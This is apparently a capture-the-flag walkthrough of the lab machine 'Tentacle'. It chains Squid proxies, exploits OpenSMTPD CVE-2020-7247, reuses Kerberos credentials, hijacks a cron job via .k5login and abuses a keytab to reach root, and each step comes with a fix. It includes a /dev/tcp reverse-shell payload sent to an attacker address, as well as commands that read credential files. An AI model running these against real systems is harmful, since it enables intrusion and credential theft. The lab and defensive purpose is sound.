J. Perez Duertojperezduerto.info
← all walkthroughs

Tentacle

Linux· Hard
owned
2026-07-11
time to own
18m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The company's internet-facing Squid proxy handed anyone the internal domain name and an employee's email address before they sent a single authenticated request. By chaining through two Squid hops and fetching an internal network-discovery file (WPAD), I mapped hidden subnets and found an unpatched mail server running a version of OpenSMTPD with a public, unauthenticated remote-code-execution vulnerability (CVE-2020-7247). Exploiting that flaw gave root access to the internal mail pod, where the employee's plaintext password was stored in a mail-client config file.

That password unlocked a Kerberos ticket, which authenticated an SSH session to the main domain server (user flag). A cron job that blindly rsynced a group-writable log directory into the admin home folder was abused to plant a Kerberos login-authorisation file, hijacking admin's SSH identity. As admin, the system Kerberos keytab — readable by the admin group — contained full KDC administrative credentials.

Those credentials were used to mint a root Kerberos principal; the built-in ksu utility then elevated to a root shell (root flag).

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export INTERNAL_HOST3="<another-host-reached-after-pivoting>"
export INTERNAL_HOST4="<another-host-reached-after-pivoting>"
export INTERNAL_HOST5="<another-host-reached-after-pivoting>"
export INTERNAL_HOST6="<another-host-reached-after-pivoting>"
export INTERNAL_HOST7="<another-host-reached-after-pivoting>"
export INTERNAL_PREFIX="<the-first-three-octets-of-that-network>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationNetwork port and service enumeration (T1046)
Port scan identified four exposed services and confirmed an Active Directory–style Kerberos realm
An nmap service scan of $TARGET returned four open TCP ports: 22 (OpenSSH 8.0), 53 (ISC BIND 9.11.20 on RHEL 8), 88 (MIT Kerberos KDC, realm REALCORP.HTB), and 3128 (Squid HTTP proxy 4.11). The simultaneous presence of a public-facing proxy, a DNS server, and a Kerberos KDC told anyone who an Active Directory–style domain was in use and that the proxy was the natural first pivot point into the internal network.
Nmap returned: 22/tcp OpenSSH 8.0, 53/tcp ISC BIND 9.11.20, 88/tcp MIT Kerberos (server time: 2026-07-11 22:00:47Z), 3128/tcp Squid 4.11
Exact commands 1
Service-version and default-script scan against the four key ports.
nmap -Pn -sV -sC -p22,53,88,3128 $TARGET
2EnumerationInformation disclosure via server error page (T1592.002)
Squid's default error page disclosed the internal domain name and a valid employee email address
A single HTTP request to the Squid proxy for a non-existent resource triggered Squid's built-in error page. The page rendered the cache-administrator email address (j.nakazawa@realcorp.htb) and the internal domain (realcorp.htb) in plain text — no authentication required. These two items, a verified username and the domain, were the seed for every subsequent attack step.
Curl -s http://$TARGET:3128/nonexistent returned Squid error HTML containing domain realcorp.htb and cache_mgr j.nakazawa@realcorp.htb
Exact commands 1
One unauthenticated request returns domain and admin email from the default error page.
curl -s http://$TARGET:3128/nonexistent 2>&1 | grep -iE 'realcorp|admin|@'
FixSuppress sensitive information from Squid error pagesMedium
WeaknessSquid's built-in error page template displayed the internal domain name (realcorp.htb) and the cache-administrator's full email address (j.nakazawa@realcorp.htb) to any unauthenticated requester. This single request provided an unauthorised user with a verified username and domain before any other action was taken.
FixReplace Squid's default error-page templates with custom pages that contain no internal hostnames, domain names, or administrator contact details. In squid.conf, set 'cache_mgr' to an external or role-account address and remove the %w (admin email) and %H (hostname) substitution tokens from all template files under /usr/share/squid/errors/. Validate the change by hitting the proxy with a bad URL and confirming no internal details appear in the response.
3EnumerationProxy chaining to bypass ACLs; WPAD network topology disclosure (T1090.003)
Chained through two Squid hops to reach internal hosts and fetched the WPAD PAC file exposing hidden subnets
Squid's access-control list granted unrestricted trust to requests sourced from localhost and from the internal proxy IP $INTERNAL_HOST3 (proxy.realcorp.htb). By building a proxychains config that routed through $TARGET:3128 → 127.0.0.1:3128 → $INTERNAL_HOST3:3128, my requests appeared to originate from a trusted internal address. A chained request for http://wpad.realcorp.htb/wpad.dat returned a PAC proxy-auto-configuration file that explicitly named the internal subnets $INTERNAL_HOST4/24 and $INTERNAL_HOST/24, providing a complete internal network map for free.
Proxychains4 curl http://wpad.realcorp.htb/wpad.dat returned PAC listing isInNet for $INTERNAL_HOST4/24 and $INTERNAL_HOST/24
Exact commands 2
Write the three-hop dynamic proxychains config; dynamic_chain tolerates a dead link in the chain.
cat > /tmp/pc-tentacle.conf <<'EOF'
dynamic_chain
proxy_dns
[ProxyList]
http $TARGET 3128
http 127.0.0.1 3128
http $INTERNAL_HOST3 3128
EOF
Retrieve the PAC file through the chained proxies; output lists both internal subnets.
proxychains4 -f /tmp/pc-tentacle.conf curl -s http://wpad.realcorp.htb/wpad.dat
FixRestrict Squid ACLs so external clients cannot reach internal hosts via proxy chainingCritical
WeaknessSquid's ACL trusted all requests that arrived from localhost or from the internal proxy IP $INTERNAL_HOST3. An unauthorised user could chain requests through the public-facing Squid instance to that internal proxy, making their traffic appear to originate from a trusted address, bypassing perimeter controls and reaching hosts that should be completely isolated from the internet.
FixRewrite the Squid ACL configuration to deny forwarding to RFC-1918 private address ranges from untrusted source IPs (http_access deny to_localnet !localnet). Require authentication for all externally-reachable proxy access. Block CONNECT and HTTP FORWARD requests to internal subnets ($INTERNAL_HOST5/8, $INTERNAL_HOST6/12, $INTERNAL_HOST7/16) from any source outside the trusted management VLAN. If the proxy is not required to be internet-facing, firewall port 3128 to internal access only.
4EnumerationDNS PTR reverse enumeration; internal host discovery (T1018)
Reverse-DNS sweep of the internal subnet located srvpod01 running a vulnerable OpenSMTPD mail server
Using the DNS server on port 53 of $TARGET, a reverse-PTR sweep of the $INTERNAL_HOST/24 subnet resolved $INTERNAL_HOST2 to srvpod01.realcorp.htb. A proxychained netcat connection to port 25 confirmed the service was alive and returned an SMTP banner identifying OpenSMTPD — a mail transfer agent with a publicly known critical unauthenticated remote-code-execution vulnerability (CVE-2020-7247) in versions before 6.6.2.
Dig -x $INTERNAL_HOST2 @$TARGET returned srvpod01.realcorp.htb; proxychained nc returned '220 smtp.realcorp.htb ESMTP OpenSMTPD'
Exact commands 2
PTR sweep of $INTERNAL_HOST/24 via the exposed BIND server; identifies srvpod01 at .113.
for i in $(seq 1 254); do r=$(dig +short -x $INTERNAL_PREFIX.$i @$TARGET 2>/dev/null); [ -n "$r" ] && echo "$INTERNAL_PREFIX.$i -> $r"; done
Banner-grab on SMTP through the proxy chain; confirms OpenSMTPD version.
proxychains4 -f /tmp/pc-tentacle.conf nc -nv $INTERNAL_HOST2 25
5ExploitationOpenSMTPD CVE-2020-7247 MAIL FROM command injection RCE (T1210)
Exploited CVE-2020-7247 in OpenSMTPD via the proxy chain — unauthenticated remote code execution as root on srvpod01
OpenSMTPD versions before 6.6.2 allow me to inject shell commands through a crafted MAIL FROM address processed by the local delivery agent. Delivering the exploit through the proxychains tunnel with j.nakazawa@realcorp.htb as a valid local recipient caused the mail server to execute my own commands as root. A blind ICMP ping-back to a tcpdump listener on my tun0 interface confirmed code execution, after which a reverse shell was staged, landing an interactive root shell on srvpod01 (smtp.realcorp.htb).
ICMP echo replies received on tun0 confirmed blind RCE; subsequent shell returned uid=0(root) gid=0(root) on smtp.realcorp.htb
Exact commands 4
Locate EDB-ID 48038 (CVE-2020-7247). Copy with: searchsploit -m 48038
searchsploit opensmtpd
Start the reverse-shell listener in the background on my machine.
nc -lvnp 4444 &
Catch ICMP ping-back to confirm blind RCE before staging the shell.
tcpdump -ni tun0 icmp &
Fire the exploit through the proxy chain. Replace $ATTACKER_IP with your tun0 address. Use the ping payload first to verify blind RCE, then swap for the shell payload.
proxychains4 -f /tmp/pc-tentacle.conf python3 48038.py $INTERNAL_HOST2 25 j.nakazawa@realcorp.htb 'bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"'
FixPatch OpenSMTPD immediately to close the unauthenticated RCE (CVE-2020-7247)Critical
WeaknessThe internal mail server ran OpenSMTPD prior to version 6.6.2, which allows any unauthenticated network client to execute arbitrary shell commands as root by sending a malformed MAIL FROM address. The service was reachable from the internet through the mis-configured Squid proxy chain, making this a remote root exploit with no authentication barrier.
FixUpgrade OpenSMTPD to 6.6.2 or later immediately (yum update opensmtpd on RHEL 8 or replace with a supported mail relay). Apply a host-based firewall rule restricting TCP 25 to known mail relay IPs only — no path from the Squid proxy network segment should reach port 25 on srvpod01. Separate internal mail relays from any host reachable from the internet. Subscribe to vendor security advisories to ensure future critical patches are applied within 72 hours of release.
6Credential Access / Lateral MovementCleartext credential recovery from config file (T1552.001); Kerberos TGT / GSSAPI SSH lateral movement (T1558.003)
Recovered j.nakazawa's plaintext password from .msmtprc, obtained a Kerberos TGT, and SSH'd to the main server as j.nakazawa — capturing user.txt
With a root shell on srvpod01, my read /home/j.nakazawa/.msmtprc — a mail-client configuration file that stored j.nakazawa's SMTP credentials in cleartext as 'password [REDACTED: recovered credential]'. Direct SSH with that password to srv01.realcorp.htb was rejected because password authentication was disabled. However, the same credential succeeded with MIT Kerberos: after writing a krb5.conf pointing at KDC srv01.realcorp.htb for realm REALCORP.HTB and correcting the clock skew (the KDC ran ~22 hours ahead), kinit obtained a TGT. The GSSAPI-authenticated ssh -K command then opened a shell on srv01 as j.nakazawa, where user.txt was readable.
Cat /home/j.nakazawa/.msmtprc on srvpod01 returned password [REDACTED: recovered credential]; kinit succeeded; ssh -K delivered j.nakazawa shell on srv01.realcorp.htb; user.txt captured
Exact commands 5
Run on srvpod01 as root — reveals j.nakazawa's plaintext SMTP/Kerberos password.
cat /home/j.nakazawa/.msmtprc
Write a minimal krb5.conf pointing at the discovered KDC.
cat > /tmp/krb5-tentacle.conf <<'EOF'
[libdefaults]
  default_realm = REALCORP.HTB
  dns_lookup_realm = false
  dns_lookup_kdc = false
[realms]
  REALCORP.HTB = {
    kdc = srv01.realcorp.htb
    admin_server = srv01.realcorp.htb
  }
[domain_realm]
  .realcorp.htb = REALCORP.HTB
  realcorp.htb = REALCORP.HTB
EOF
Obtain TGT using the recovered password. The -79797s faketime offset corrects for clock skew between my and KDC. Enter password: [REDACTED: recovered credential]
KRB5_CONFIG=/tmp/krb5-tentacle.conf faketime -f '-79797s' kinit j.nakazawa@REALCORP.HTB
GSSAPI SSH login using the Kerberos ticket. Password auth is disabled; this is the only path.
KRB5_CONFIG=/tmp/krb5-tentacle.conf KRB5CCNAME=FILE:/tmp/jnak.ccache faketime -f '-79797s' ssh -K -o GSSAPIAuthentication=yes -o PreferredAuthentications=gssapi-with-mic j.nakazawa@srv01.realcorp.htb
Capture the user flag. Value: <user.txt>
cat ~/user.txt
FixRemove plaintext credentials from mail-client configuration filesHigh
WeaknessThe file /home/j.nakazawa/.msmtprc stored the employee's domain password in cleartext under the 'password' key. An unauthorised user with read access to that file — achieved here by rooting the mail pod that hosted the home directory — immediately obtained the credential used to authenticate against the entire Kerberos realm.
FixAudit all home directories across all servers for files containing plaintext credentials (.msmtprc, .netrc, .pgpass, .boto, .s3cfg, etc.) and remove or encrypt them. For automated mail delivery from scripts, provision a dedicated service account with a randomly-generated password scoped to SMTP relay only — never reuse a human domain account. Where possible, use OAuth 2.0 tokens or application-specific passwords that can be revoked without changing the user's domain credential. Enforce a policy that service accounts cannot be used interactively and that human credentials cannot be stored on servers.
7Privilege EscalationCron-based file write race; .k5login Kerberos authorisation hijack (T1053.003)
Planted a .k5login file via squid group write access to hijack the admin cron and escalate to the admin account
On srv01, /etc/crontab showed a job running every minute as admin that executed /usr/local/bin/log_backup.sh, which used rsync to copy the entire /var/log/squid/ directory — including all dot-files — into /home/admin/. Because j.nakazawa was a member of the squid group, and /var/log/squid/ was group-writable, my wrote a .k5login file there containing j.nakazawa@REALCORP.HTB. When the cron fired, rsync propagated that file to /home/admin/.k5login. The Kerberos daemon reads .k5login to decide which principals may authenticate as that user, so j.nakazawa's existing TGT was now authorised to open an SSH session as admin.
Cat /etc/crontab and log_backup.sh confirmed rsync of /var/log/squid/* -> /home/admin/ every minute; id showed groups include squid; ssh -K admin@srv01 succeeded after cron tick
Exact commands 4
Confirm the cron job: rsync /var/log/squid/* to /home/admin/ every minute, running as admin.
cat /etc/crontab && cat /usr/local/bin/log_backup.sh
Verify j.nakazawa is in the squid group — required for the write to /var/log/squid/.
id
Plant the .k5login file in the squid-group-writable log directory. Cron will copy it to /home/admin/.k5login.
echo 'j.nakazawa@REALCORP.HTB' > /var/log/squid/.k5login
Wait up to 60 seconds for the cron tick, then SSH as admin using j.nakazawa's existing Kerberos ticket.
KRB5_CONFIG=/tmp/krb5-tentacle.conf KRB5CCNAME=FILE:/tmp/jnak.ccache faketime -f '-79797s' ssh -K -o GSSAPIAuthentication=yes -o PreferredAuthentications=gssapi-with-mic admin@srv01.realcorp.htb
FixPrevent cron jobs from copying externally controlled files into privileged home directoriesHigh
WeaknessA cron job running as admin used rsync to mirror the entire /var/log/squid/ directory — including all hidden dot-files — into /home/admin/. Because j.nakazawa was a member of the squid group and /var/log/squid/ was group-writable, any squid-group member could plant a .k5login file that would appear in admin's home after the next cron tick, giving them the ability to authenticate SSH sessions as admin using their own Kerberos ticket.
FixChange the rsync command to target specific log files by name or extension (e.g., --include='*.log' --exclude='*') and add --exclude='.*' to explicitly block all dot-files from being copied. Review every cron job in /etc/crontab and /etc/cron.d/ that copies from group- or world-writable source directories into a privileged user's home, and either eliminate the job or restrict the source directory to owner-only write (chmod 750 /var/log/squid, chown root:root). Remove j.nakazawa and all non-log-reading accounts from the squid group unless there is an operational requirement.
8Privilege EscalationKerberos keytab credential abuse; KDC admin principal exploitation to add privileged principals (T1558, T1078.002)
Used admin's group-readable Kerberos keytab to mint a root principal and gained a root shell via ksu
As admin, /etc/krb5.keytab was readable by the admin group. Running klist -kt revealed it contained a kadmin/admin@REALCORP.HTB principal — full Kerberos KDC administration credentials. Using kadmin with the keytab, I created a new root@REALCORP.HTB principal with a chosen password. After obtaining a TGT for that principal via kinit, the Kerberos-aware privilege-switch utility ksu elevated the session to root. Root.txt was then read directly.
Klist -kt /etc/krb5.keytab showed kadmin/admin@REALCORP.HTB; kadmin add_principal succeeded; ksu root yielded uid=0(root); root.txt captured
Exact commands 5
List principals in the system keytab — confirms kadmin/admin@REALCORP.HTB is present and readable.
klist -kt /etc/krb5.keytab
Create a root Kerberos principal using the keytab. Choose any password — [REDACTED: recovered credential] used here.
kadmin -kt /etc/krb5.keytab -p kadmin/admin -q "add_principal -pw $PASSWORD2 root@REALCORP.HTB"
Obtain a TGT for the newly created root principal. Enter [REDACTED: recovered credential] when prompted.
KRB5_CONFIG=/tmp/krb5-tentacle.conf faketime -f '-79797s' kinit root@REALCORP.HTB
Kerberos-authenticated privilege switch; must print uid=0(root) to confirm escalation.
KRB5CCNAME=FILE:/tmp/root.ccache ksu root -e /usr/bin/id
Capture the root flag. Value: <root.txt>
KRB5CCNAME=FILE:/tmp/root.ccache ksu root -e /usr/bin/cat /root/root.txt
FixRestrict the Kerberos keytab to root-only access and remove the kadmin/admin principal from itCritical
WeaknessThe file /etc/krb5.keytab was readable by the admin group and contained a kadmin/admin@REALCORP.HTB principal — effectively a master key to the entire Kerberos KDC. Any user elevated to the admin group could use this credential to create arbitrary Kerberos principals, including one for root, and then use ksu to become root. There was no audit logging or rate-limiting on kadmin operations.
FixImmediately restrict /etc/krb5.keytab to root-only read access (chmod 600 /etc/krb5.keytab; chown root:root /etc/krb5.keytab). Remove the kadmin/admin principal from the system keytab entirely — a host keytab should contain only host-service principals (host/<fqdn>@REALM). Provision remote Kerberos administration access only from a hardened, dedicated admin workstation with a named human principal, and enforce IP-restricted kadmind ACLs in /var/kerberos/krb5kdc/kadm5.acl. Enable KDC audit logging and alert on any add_principal or change_password operations.

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Exposed services

22/tcp
53/tcp
88/tcp
3128/tcp